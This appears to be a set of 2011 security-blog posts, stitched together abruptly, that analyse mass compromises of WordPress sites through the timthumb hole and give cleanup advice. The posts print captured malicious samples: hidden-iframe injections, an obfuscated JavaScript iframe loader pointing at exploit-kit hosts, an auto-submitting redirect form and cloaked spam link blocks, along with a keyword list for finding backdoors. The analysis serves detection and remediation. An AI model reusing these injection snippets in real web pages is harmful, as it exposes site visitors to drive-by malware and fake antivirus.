Begin with checking integrity of your WordPress files. Check wp-config.php and wp-settings.php for the above mentioned malicious code (1 and 2).

You can also scan your raw access logs for requests from “91 .196 .216 .20” and requests that contain the following strings: “pingnow=eval“, “tt.php“.

Clean up

Remove the malicious code from wp-config.php and wp-settings.php. In case of wp-settings.php, it may be easier to replace it with the file from the official WordPress package. For example, here you can get the official wp-settings.php for WordPress 3.2.1 http://core.svn.wordpress.org/tags/3.2.1/wp-settings.php. For other versions, select the appropriate tag (version) here: http://core.svn.wordpress.org/tags/.

Prevent reinfections

1. Remove the backdoor code from wp-config.php if you haven’t done it yet. Hackers have full control over your site while it is there.

2. Find and upgrade all themes and plugins that use vulnerable versions of timthumb.php (1.x). If there are no official upgrades, consider replacing timthumb.php with the latest version: http://code.google.com/p/timthumb/source/browse/trunk/timthumb.php

3. Find and delete all backdoor files that hackers might have uploaded to your site.

3.1 You might want to completely delete wp-admin and wp-includes directories and then restore them from the official WordPress package.

3.2 Compare all files of WordPress themes and plugins with their genuine copies provided by their vendors.

3.3 Check what’s inside the ./cache directories next to timthumb.php files. This is the first location where attackers upload files using the timthumb security hole (of course, those files might be no longer there). Normally, there should be no .php files there.

3.4. Check other directories under wp-content. There should be no .php files below the uploads directory.

3.5 Search for the backdoor file I mentioned in the beginning of this post.

3.6 Scan all files on server for the keywords that can be usually found inside backdoors.

• eval(base64_decode
• gzuncompress
• gzinflate
• eval(stripslashes
• edoced_46esab
• FilesMan

This is not a complete list. There are many elaborate backdoors that you won’t find using these searches, but they can help you find more than 80% of backdoors that I regularly come across.

Note, some of these searches will also return perfectly legitimate files. You’ll have to verify the legitimacy of the found files yourself.

3.7 Scan logs for suspicious requests. It is usually enough to only check POST requests. In WordPress, every POST request to a .php file should be immediately suspicious. The only exceptions are

• requests WordPress admin interface from your IP address (or addresses of legitimate WordPress users)
• requests to wp-cron.php from your server’s IP address
• requests to wp-comments-post.php (readers that post comments)
• requests to xmlrpc.php.

Call for data: If your blog was affected by this hack and you have raw logs for the whole November (a couple of the last months of raw logs even better), I would like to hear from you. Your logs can help me reconstruct the attack from the very beginning. Thanks for collaboration!

4. Block the “91 .196 .216 .20” IP address. For example, you can manually add something like this to your topmost .htaccess file

order allow,deny
deny from 91.196.216.20
allow from all

Or you can do it via your host’s Control Panel.

5. Consider disabling execution of .php files in directories where there shouldn’t be any executable files. E.g. wp-content/uploads/ or any images/ directories.

6. If your WordPress administrator’s user name is “admin“, create a new user with the administrator role and remove the “admin” user.

Change passwords of the rest WordPress users. Consider changing MySql password too.

7. Upgrade WordPress to the latest version. The older WordPress you use the more security holes it has.

Summary

This was a long technical post. But I hope it was worth it to delve into all those details. It is not your typical WordPress hack. Here we can find many new and uncommon tricks and techniques. They may be a little naive and not as efficient as the tricks that we’ve seen before, but at least I can see some creativity here.

I guess, the buzz around the TimThumb vulnerability helped some new players realize how easy it was to enter the web site hack arena. Imagine that you know that millions of WordPress blogs have this security hole. You only need to hire a PHP developer with some basic knowledge of WordPress who can create a scanner (to find vulnerable blogs), some backdoor scripts and a way to automate the process. That PHP developer probably didn’t have access to common exploit tools and had to reinvent the wheel. That’s why we see so many new tricks.

By the way, here’s my list of what’s uncommon in this attack:

1. Backdoor code in wp-config.php
2. Malicious PHP code is not obfuscated. In all files.
3. Backdoor code in wp-config.php is placed after a couple of thousand blank lines (the trick I previously saw in .htaccess files only)
4. Using WordPress hooks in wp-settings.php instead on injecting the code directly into theme files (will survive a theme change, but won’t survive a WordPress upgrade)
5. Using backdoor code to bypass WordPress admin authentication.
6. GET requests to backdoors.
7. Injecting malicious content from a file in a system’s temporary directory (/tmp). (You only need one backdoor per server to change the injected code on multiple hacked blogs)
8. Using backdoors on compromised sites to conduct distributed Google searches.
9. Changing the injected content from malicious scripts to spammy links.
10. Hiding links inside an invisible form.
11. Placing hidden link inside the <head> section

##

Your comments and additional information on this hack are welcome!

Related posts:

• Hackers target unpatched WooFramework
• Hacked WordPress Blogs Poison Google Images
• Versatile .CC Attacks
• Introduction to Website Parasites

August 22, 2011

RT @stopbadware: Q&A: @maximweinstein on We Stop Badware™ Web Host program: how responsible hosting providers can fight badware

August 23, 2011

[wordpress.org] two forum threads about the counter-wordpress attack 1 & 2 — timthumb again

[cio.com.au] Security and Google Apps — An interview with Google Enterprise director of security, Eran Feigenbaum

RT @stopbadware: Request for comments: public draft of new best practices for reporting badware URLs Please RT!

August 24, 2011

[sucuri.net] Mass infection of WordPress sites (counter-wordpress .com) via @sucuri_security

[blog.cnizz.com] Evil Hackers from Outerspace — finding and removing malware – webmaster’s story

@sucuri_security’s take on the @WooThemes / timthumb / googlesafebrowsing attack

August 25, 2011

Google Safe Browsing now flags GoogleSafeBrowsing .com and the company, incl. hacked sites. How to deal with warnings

August 26, 2011

RT @mattcutts: Scrapers getting you down? Tell us about blog scrapers you see We need datapoints for testing

August 27, 2011

The kwizhveo timthumb attack (GoogleSafeBrowsing com) now uses “statcounter . com” domain. WTF? Do they want Google to flag the innocent?

Screenshot of the hidden “statcounter .com” kwizhveo.php iframe in an Unmask Parasites report of an infected blog.

August 28, 2011

[h-online.com] phpMyAdmin updates close XSS hole

[h-online.com] Tool causes Apache web server to freeze – Update and “Rewrite” workaround

[cnet.com] How to check if a Web site is safe

If you want more real-time experience, you can follow @UnmaskParasites on Twitter.

Related posts:

• Previous Tweet Weeks

Bing somehow found that URL so there should be backlinks. I decided to check the URL using MajesticSEO Site Explorer (you can use it to check backlinks to particular URLs as well as whole domains). Bingo! The Site Explorer returned 10,453 backlinks (exactly to kwizhveo.php) from 360 unique domains.

When I checked the pages, I didn’t find any references to googlesafebrowsing .com, but all of them contained hidden iframes that opened the kwizhveo.php on a different domain: hxxp://prettymiistmen .us .to/kwizhveo.php. I used a search and found one more domain with the kwizhveo.php URL: hxxp://musiictochapman .us .to/kwizhveo .php. MajesticSEO returned almost the same backlinks for this URL. That was obviously the same attack that just updated the injected code and used new disposable domains.

For example, the googlesafebrowsing .com domain was registered on Aug 17th, 2011 and was in use for two days only: Aug 19-20.

Then I watched the infected sites for a day, and during the day, the iframe URL changed several times. This happened synchronously on all infected sites.

• hxxp://sexyjju88 .us .to/kwizhveo.php
• hxxp://freemii69 .us .to/kwizhveo.php
• hxxp://heidiheernande .us .to/kwizhveo.php
• hxxp://blaackhatt58 .us .to/kwizhveo.php
• hxxp://gufmaurr79 .us .to/kwizhveo.php
• hxxp://freeagcoll .us .to/kwizhveo.php
• hxxp://prettyrosseande .us .to/kwizhveo.php
• hxxp://coolerikpowwel .us .to/kwizhveo.php
• hxxp://cooldeliia97 .us .to/kwizhveo.php
• hxxp://bastalevarrga .us .to/kwizhveo.php
• hxxp://seveende98 .us .to/kwizhveo.php
• hxxp://statcounter .com/kwizhveo.php

WooFramework

Let’s get back to the infected sites. All 372 infected sites that I found via MajesticSEO are WordPress blogs (I guess, the may be more infected sites). And it was easy to notice that almost all of them used themes built upon various version of Woo Framework, the engine behind all popular premium WooThemes. Here’s how it looks in Unmask Parasites reports.

Timthumb.php vulnerability

As with most of the recent WordPress hacks, I believe the timthumb vulnerability was the attack vector in this case too. WooFramework uses this file. They know about the problem. Moreover they patched their framework in the beginning of August (WooFramework v4.4.2) and began to notify webmasters who used vulnerable versions of their themes via WordPress Dashboard. Apperantly, not all webmasters listened to them and left their themes unpatched.

Malicious code

The injected iframe code looks like this:

<ifr ame src="hxxp://freemii69. us .to/ kwizhveo.php" width="1" height="1" frameborder="0">
</iframe>

The iframe is always bundled with some strange and rather pointless JavaScript code that calls itself “Wordpress Counter” (any ideas what the purpose of this code is besides making the iframe tag less prominent?):

<!-- Wordpress Counter -->
<script language="javascript">
var ExpDate = new Date ();
ExpDate.setTime(ExpDate.getTime() + (7 * 24 * 60 * 60));
SetCookie("MTPT","1",ExpDate, "/");
function SetCookie (name, value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
document.cookie = name + "=" + escape (value) +
((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
((path == null) ? "" : ("; path=" + path)) +
((domain == null) ? "" : ("; domain=" + domain)) +
((secure == true) ? "; secure" : "");
}
</script>
<ifr ame src="hxxp://freemii69 .us .to/kwizhveo .php" width="1" height="1" frameborder="0">
</iframe>
<!-- Wordpress Counter -->

The placement of the code suggests that it must have been injected into WordPress theme files. Most likely into header.php.

Malware detection

In my case, the malicious iframe tried to push some Java exploit (ardmbsesalkt.jar). It only happens when you visit the infected page for the first time.

None of the 372 domains in my list are currently blacklisted by Google. And the currently used malicious domains are not blacklisted either. So don’t rely on your browser and Google. If you use Firefox, the NoScript extension is your best friend.

To webmasters of WordPress blogs

If you use WooThemes, make sure to upgrade your WooFramework ASAP!

Even if you don’t use WooThemes, check whether any of your themes or plugins use timthumb.php (or thumb.php). If you find such themes or/and plugins, you should upgrade them ASAP. If there are no available updates that patch the timthumb vulnerability, you should update the timthumb.php file yourself. You can get it here: http://code.google.com/p/timthumb/.

It is not enough to remove the malicious code from your files. Most likely hackers uploaded multiple backdoor files to your server. To stop the attack, you should find and remove all of them.

Sidenote: One of the hacked sites that contained the malicious “GoogleSafeBrowsing .com” iframe (and still contains newer variants of that iframe) is the InsideGoogle.com blog that aims to educate the public and opinion leaders about Google’s dangerous dominance over the Internet, computing and our online lives. Now they can use one more argument: the dominance of Google’s services allows cybercriminals to mask they activity using Google-like domain names ;-)

##
If you have any additional information about this attack, please share it in the comments below.

Related posts:

• Hacked WordPress Blogs Poison Google Images
• Versatile .CC Attacks
• Following the Black Hat SEO Traces
• Introduction to Website Parasites

The scripts can be injected right after the <body> tag or at the very top or bottom of the HTML code. As the Armorize article shows, the first wave of the injection was buggy and you might find the script text displayed on your web pages.

Hackers update the malicious scripts every day. If you clean up your site but don’t change passwords, you’ll find your site reinfected quite soon. Because of a buggy implementation of the script updater, one page can contain multiple instances of the malicious scripts (I’ve seen 8 scripts on the same page).

At this point, I know about 5 variations of the injected script:

wa='t';p='ht'; f='k98';tb ='ame';bg='.';v='sr';g='tp:';vf='/z';bs='t';px='v.h';br='yt';k='c';yr='m';ds='m';ej='/';au='/';t='com';sp='ifr';r='ca';cp='y';wz='ir';wf='u';b='5';se=sp.concat(t b);oz=v.concat(k);db=p concat(g,ej,vf,wz,cp,r,bs,wf,yr,bg,t,au,f,b,br,px,wa,ds);var ip=docu ment.createEl ement(se);ip.setAttribute('width','1');ip.setAttr ibute('height','1');ip.frameBorder=0;ip.setAttribute(oz,db);document.body appendChild(ip);

ez='://';la='k9';vp='85y';ma='zi.';s='c';f='m';kg='cub';i='t';zz=....setAttribute(x,p);document.body.appendChild(jc);

ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl=...setAttribute(gg,qt);document.body.appendChild

mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m=...setAttribute(xl,xp);document.body.appendChild(bn);

yd='co';mh='m';im='a.';rm='h';my='5';t='m/';qg='v';vp='if';x=...setAttribute(qm,ka);document.body.appendChild(tq);

All 5 variants are can be easily detected with Unmask Parasites:

The script creates invisible iframes that load browser exploits (Black Hole) from the following sites:

• hxxp://zirycatum .com/k985ytv.htm
• hxxp://cubyfonizi .com/k985ytv.htm
• hxxp:// numudozaf .com/k985ytv.htm
• hxxp://hysofufewobe .com/k985ytv.htm
• hxxp://rewajuseva .com/k985ytv.htm

Google blacklists infected sites. Their Safe Browsing diagnostic pages typically say something like this:

Malicious software is hosted on 4 domain(s), including dddnvf .com/, rprlpb .com/, numudozaf .com/.

2 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including zirycatum .com/, numudozaf .com/.

Remediation

1. Scan all computers that have access to your website for malware.

2. Change all site passwords. Don’t save new passwords in FTP programs. Configure them so that they ask for a password every time you connect to your site. If you work with multiple sites and don’t like the idea of memorizing many passwords, consider using password managers like KeePass — they save your passwords much more securely. Remove stored passwords from FTP programs that you no longer use.

3. Consider using SFTP instead of FTP that sends your passwords in plain text (they can be intercepted by malware on your computer and from third-party computers when you use Wi-Fi). Most popular FTP programs support SFTP, so the switch should be painless.

4. Remove malicious scripts from files on server. The easiest way to do it is to restore your site from a clean fresh backup copy.

4. If your site is blacklisted by Google, request a malware review via Google Webmaster Tools (Diagnostics->Malware).

Related posts:

• 10 FTP Clients Malware Steals Credentials From
• Unused Programs – Real Threats
• Beware: FileZilla Doesn’t Protect Your Passwords
• Introduction to Website Parasites

August 8, 2011

[markmaunder.com] WordThumb is now TimThumb 2.0 — please upgrade if your WordPress theme/plugin uses old timthumb.php

August 9, 2011

[theregister.co.uk] Mass WordPress hijack poisons Google Image well — based on my Friday’s post

RT @threatpost: Hacked Wordpress Blogs Used to Poison Google Image Search

August 10, 2011

update on the “ciscotred .cz .cc” attack — new redirect destination and connection with “.bee .pl” attacks

If you only knew how many websites of small hosting providers are hacked! And I mean their own sites, not their clients’ sites…

update on the hacked WP blogs  1. Google removed doorways from index, 2. there are cloaked links in legitimate pages

August 15, 2011

[wpmu.org] What Lurks in the WordPress Plugin Repository? — via @SiobhanPMcKeown

Google PageRank 5 for a new domain in six months? Easy! – analysis of SEO progress of a poker site (black hat)

August 16, 2011

RT @stopbadware: StopBadware debuts We Stop Badware™ Web Host program for hosting providers committed to protecting users from badware

RT @teamcymru using botnets to search for 80k ‘Google Dorks’ to streamline hacker target selection

August 17, 2011

[lightbluetouchpaper.org] Measuring Search-Redirection Attacks in the Illicit Online Prescription Drug Trade

RT @stopbadware: Please help @sans_isc with a survey about the most dangerous (in terms of vulnerabilities/exploits) web platforms

RT @threatpost: New version of Firefox fixes 10 vulns, several of them critical flaws that could allow remote code execution.

[h-online.com] Rapid relief for osCommerce administrators — hardening outdated osCommerce sites

August 18, 2011

[Google Online Security] Four Years of Web Malware — analysis of Safe Browsing data

[armorize.com] k985ytv mass compromise ongoing, spreads fake antivirus — Windows version dependent scareware sites

August 19, 2011

Owners of WordPress blogs: check the series of articles about timthumb-related malware attacks on Sucuri blog 

RT @Xylit0l: MalwareIntelligence Black Hole Exploits Kit 1.1.0 Inside  [english] [Spanish]

If you want more real-time experience, you can follow @UnmaskParasites on Twitter.

Related posts:

• Previous Tweet Weeks

Cloaked links

To have Google discover and index rogue doorway pages, the attackers needed to place links on web pages that Google already knows about and regularly crawls. One of the popular approaches is to create free websites and post links there (there are many services that allow to do it). However, in this particular case I couldn’t find such external links.

Then I checked cached versions of legitimate web pages on the hacked sites and found the following code right before the closing </body> tag.

<style>#alkg {position:absolute;overflow:auto;height:0;width:0;}</style><font id="alkg"><a href="http://example.com/?ccc=niger-culture-picture">niger culture picture</a><br />...<a href="http://example.com/?ccc=eric-ogbogu-picture">eric ogbogu picture</a><br /><a href="http://rankexplorer.com">Poker Software</a></font>

The code cannot be found if you open the same web page in a browser. This means that hackers used cloaking to feed these links to search engine spiders only.

This code defines an invisible style (height:0; width:0) and then lists dozens to hundreds of links to doorway pages on that site inside the <font> block that has that invisible style. The name of that style is a random combination of four letters and it changes from site to site.

This trick prevents webmasters form seeing the spammy links when they check cached web pages (of course, unless they scrutinize the HTML code) and at the same time provides links that don’t look like invisible to Googlebot (I guess Google is well aware of such tricks though ;-) ).

The placement of this spammy code makes me think that hackers injected it into the footer.php file of the blogs’ themes. Most likely the actual code is encrypted (e.g. with the base64_decode or some other obfuscation trick) so check the code right before the </body> tag.

SEO Anomaly

I noticed one interesting thing. Every link block on every hacked site has a link to rankexplorer .com. The anchor text is always the same: Poker Software.

The domain was registered on February 21st, 2011 and already has PageRank 5. That was very suspicious. Only very popular sites can get PR5 in such a short time. So I decided to check who linked to the rankexplorer site and how seriously those links on the hacked sites contribute to this rapid progress.

Yahoo Site Explorer

First, I checked external backlinks using Yahoo Site Explorer:

The report says there are 1,858,186 external links to 7 pages on this site. Impressive!

It was clear that sites at the top of the list were hacked. But it was not clear how many of those 1,800,000+ links are from hacked sites and if there are many (or rather any) legitimate links. Moreover, YSE doesn’t distinguish “doFollow” and “noFollow” links so it’s hard to use this report to tell which links actually contribute to the high PageRank. (For example, there can be many “noFollow” links from spammy blog comments and forum posts).

MajesticSEO Site Explorer

So the next step was a more thorough investigation using MajesticSEO Site Explorer. MajesticSEO maintains quite a fresh index (updated 2-3 times a day) and its size is comparable to that of Yahoo (they claim that only Google has a larger index). What’s more important, they provide various backlink reports that allow to easily spot interesting patterns and anomalies.

Lets begin with the Domain Information report:

Well, the number of external links here is significantly smaller than in Yahoo Site Explorer. But we should not forget that this is a “fresh index” and we deal with hacked sites that get cleaned up once their webmasters notice the hack.

The useful information here is:

• very few link are “NoFollow” – 0.3% (so the comment and forum spam is not the case)
• quite a few deleted links – (webmasters remove spammy links from hacked sites)
• domains/links ratio suggests that multiple pages of the same site link to rankexplorer — quite typical for spammy links.
• most of the linking sites reside on different servers and even on different subnetworks – (they are not just from one hacked server).

The same report has a “Referring Domains” history graph

You can see a spike on July 20th. This matches the beginning of the black hat SEO campaign.

The “Top Pages” report shows that all external links point to the home page only. That’s not typical even for a small site with so many backlinks.

The most revealing data can be found in the Top Backlinks report. It provides a list of up to 2,500 referring URLs (Majestic Silver plan) in order of their significance for SEO along with the anchor text (!) of the backlinks.

Main insights:

• Out of 2,500 backlinks , 2,426 (97%) have the “poker software” anchor text – (This anchor text is used on hacked sites)
• 60 backlinks (2.4%) have the “poker statistics” anchor text. They are hidden links on a few supposedly hacked sites (different attack though). The spammy code look like this:
  <div style=”display:none“><li><a href=”hxxp://rankexplorer .com“>Poker Statistics</a></li></div>
• The rest 13 links can be easily neglected.
  • One of them comes from Baidu search results (why does MajesticSEO index Baidu SERPs?!)
  • Six “software de poker” and “”poker mjukvara“” are from a hacked site that uses some sort of auto-translation that translated all spammy links into Spanish and Swedish ;-)

And finally, the “Referring Domains” report shows that most of the domains can also be found in my list of WordPress sites affected by this black hat SEO attack.

So the backlink analisys clearly shows that the rankexplorer .com owes its high PageRank exclusively to black hat techniques.

PageRank vs real SERP positions

Was it worth the effort for rankexplorer? Not that much. If we search for [poker software] or even for ["poker software"] on all major search engines, the rankexplorer is nowhere near the top. The top two Google search results for this query currently link to sites with PageRank 4, and #3 has PR3! As Matt Cutts always says: PageRank is only one of many factors that affect site position in search results.

So were all the spammers’ efforts futile? Not exactly. For some queries (I won’t call them popular) you can find the rankexplorer on the first page of search results. Currently it is #4 for the ["poker statistics analyzer"] query.

Interesting sidenote. Out of all major search enignes, Baidu (#1 search engine in China!) is the most susceptible to the rankexplorer’s black hat SEO campaign:

Previous generation of this campaign

The MajesticSEO’s reports helped me find some sites where the injected code and doorway pages were different than in the attack that I described last week. Moreover, some of the sites were not WordPress blogs. After some additional analysis, I figured out it was a previous generation of the same attack. Here are the details:

Link blocks

Checking cached versions (Google cache) of legitimate pages on the compromised sites, I found a familiar cloaked blocks of hidden link that used the style/font trick:

<style>#xhxq {position:absolute;overflow:auto;height:0;width:0;}</style><font id="xhxq"><li><a href="http://example.com/?olg=55680">80s movie posters</a></li>
...skipped..
<a href="hxxp://rankexplorer .com">Poker Software</a>
...skipped..
<li><a href="http://www.example.org/?eea=go.php5">powered by smf best back up software</a></li></font>

However, instead of linking to doorways on the same site, those blocks linked to doorways on multiple third party sites (usually about 50 unique sites in one block). And the rankexplorer link was in the middle of the block this time.

This cross-linking scheme helped me identify 700+ hacked sites. Most of them can be identified as WordPress blogs, Joomla sites and Zen Cart online stores.

URL patterns

The most common URL patterns of the doorway pages are:

example.com/[a-z]{3,4}=<random>.<extension>, where <random> is a random combination of characters, digits and hyphens, and <extension> is a one of the popular file extensions of web pages (html|htm|shtml|php|php3|php4|php5|phtml|jsp|asp). The extension part can be missing.

Examples:

• example.co.uk/?mrx=zc-31.html
• example.com/?jlq=bi5k5.phtml
• example.de/?pce=9mlbqc.htm
• example.eu/?tnj=57720.php3
• example.cl/?slf=9283-upfy

Another popular doorway URL pattern is example.org/[a-z]{3}-<keywords>.<extension>, where <keywords> are hyphen separated keywords targeted by the doorway page.

Examples:

• example.com/qlv-wallpapers-cowgirl-stock-photos.asp (note, this page is on a Linux server that has no ASP)
• example.net/qxr-trail-of-tears-coloring-pages.php5
• example.se/lck-multiplication-chart-1-500.html

And the combination of the above two patterns: example.net/[a-z]{3,4}=<keywords>.<extension>

• example.org/?jyw=make-your-own-art-online.php4
• example.com/?liz=sample-1023-arts-organization.shtml
• example.net/?klb=dem-mac-martial-arts.php
• example.es/?jys=art-of-8000-bce-500-ce

Chronology of the attack

Some of the websites have already been cleaned up. On such sites, I can only find the spammy content in 2-3 months’ old cached copies, which proves that this attack was active around May 2011. We can find one more evidence of this in the MajesticSEO report for the notorious rankexplorer .com site that uses its “historic” index.

This graph shows that MajesticSEO began to index links to rankexplorer .com (and we know they all come from hacked sites) in April. Then the was a peak in May (new indexed domains referencing rankexplorer). Almost 0 new domains in June and then another uptrend in July (which corresponds to the attack against WordPress blogs that I described last week)

Still malicious

Although that wave of the black hat SEO campaign has been idle for at least a couple of months now, many of the compromised sites still contain malicious web pages. As in the most recent attack, they only redirect visitors to scareware sites if they come from Google Images search (clicking on web search results won’t trigger the redirect.)

Redirects

For visitors from Google Images, the doorway generate a page with an invisible form and a JavaScript that automatically clicks on the form button, which effectively redirects a browser to a Fake AV site:

<html><head>
<script>
function TDov(){setTi meout('ob()', 1);document.getElementById('go').click();}
function F99FAEE4E1A331A7595932B7C18F9F5F6(){try{history.forward();}catch(e){}setTim eout('ob()', 10);}
</script>
</head><body onLoad='TDov()'>
<form action='hxxp://atomiccanyon .com/BrightonFestival2009/xmlrpc.php?k=fredericksburg+tx+historic+district+map&s=google&r=http%3A%2F%2Fwww.google.com%2Fimgres%3Fimgurl%3...skipped..' method='POST' target='_top'>
<button type='submit' id='go' style='visibility:hidden'></button></form>
</body></html>

As you can see, the URL structure resembles the structure of the first URL in the redirect chain of the ongoing attack.

Some of the sites also use a similar form URL on the cricketfunde .com domain.

Then, this intermediary URL redirects visitors to actual fake AV sites. Currently, they use multiple *.rr.nu domains:

• hxxp://www4.powersecurityex .rr .nu/?hch86z0i65=jNjRnHOtYpxcpdnTtJiY59nPst…
• hxxp://www3. powergcjsentinel .rr .nu/?39gnl9=V67Q0qlrqKad1dvLoJ2Z2eLgpqCWoWie…
• hxxp://www1 .simplecwahscanner .rr .nu/2dgnv5l5k?4h6xtulyq2=WNKj2%….

They seem to be changing every day. Old domain expire quite quickly. When I last checked, they used the 79 .133 .196 .117 address.

Malware

The binary download begins from a different (although similar) domain:

• hxxp://www2 .thebest-mhcleaner .rr .nu/duqr211_323.php?xw0lonwp=nOGdz%2B…%3D%3D
• hxxp://www2 .bestsuitehri .rr .nu/yvbt211_323.php?o5aayuuvor=k63E0Lbu…%3D%3D

The downloaded file have names like fix_pack107d_323.exe and fix_pack211d_323.exe (links to VirusTotal reports) and their detection rates are usually less than 30%. I rechecked one file 20 hours later and it’s detection rate improved from 27% to 33% – by that time the malicious server began to serve a different variation of the same file.

Redirects for Macs

For Mac users, the redirect chain is different:

www4 .powersecurityex .rr .nu -> rdr .cz .cc/go.php?7&said=323 -> www .moviedir .com/1093251

By the way, the moviedir site has Google PageRank 4. And it shouldn’t be a surprise that many of its backlinks are from hacked sites.

Google strikes back

While hacked site still contain malicious code and may redirect Image searches to dangerous sites, Google has done a great job to mitigate the problem and removed the doorway page from its index.

I checked many hacked sites using the site: operator in Google search. Only very few of them had indexed doorways. And even when I could find links to doorways in web search results, Image search results for the same sites were free from poisoned images! (I have a feeling that for some hacked sites Google removed legitimate images as well)

I have also noticed the “This site may be compromised” warning on search results for home pages of many hacked sites.

At this time, both generations of this particular Google Image poisoning campaign seem to be neutralized by Google. Good job!

##
Removing poisoned links from search result doesn’t completely solves the problem. There are still thousands of compromised sites that criminals can reuse for different attacks. Moreover, I still don’t have reliable information about the attack vector (what security holes hackers exploit and how they integrate malicious code into legitimate websites), so millions of WordPress blogs and Joomla sites are potentially vulnerable to similar attacks. If you have any information, please share it in comments or contact me directly.

If you work in a security department of a large shared hosting provider, please contact me. The chances are I know some compromised sites on your servers (5,000+ sites on my list, typically 1-2 sites per IP, but sometimes up to 300). Together we can find out what’s going on.

Thank you!

Related posts:

• Hacked WordPress Blogs Poison Google Images
• Thousands of Hacked Sites Seriously Poison Google Image Search Results
• Introduction to Website Parasites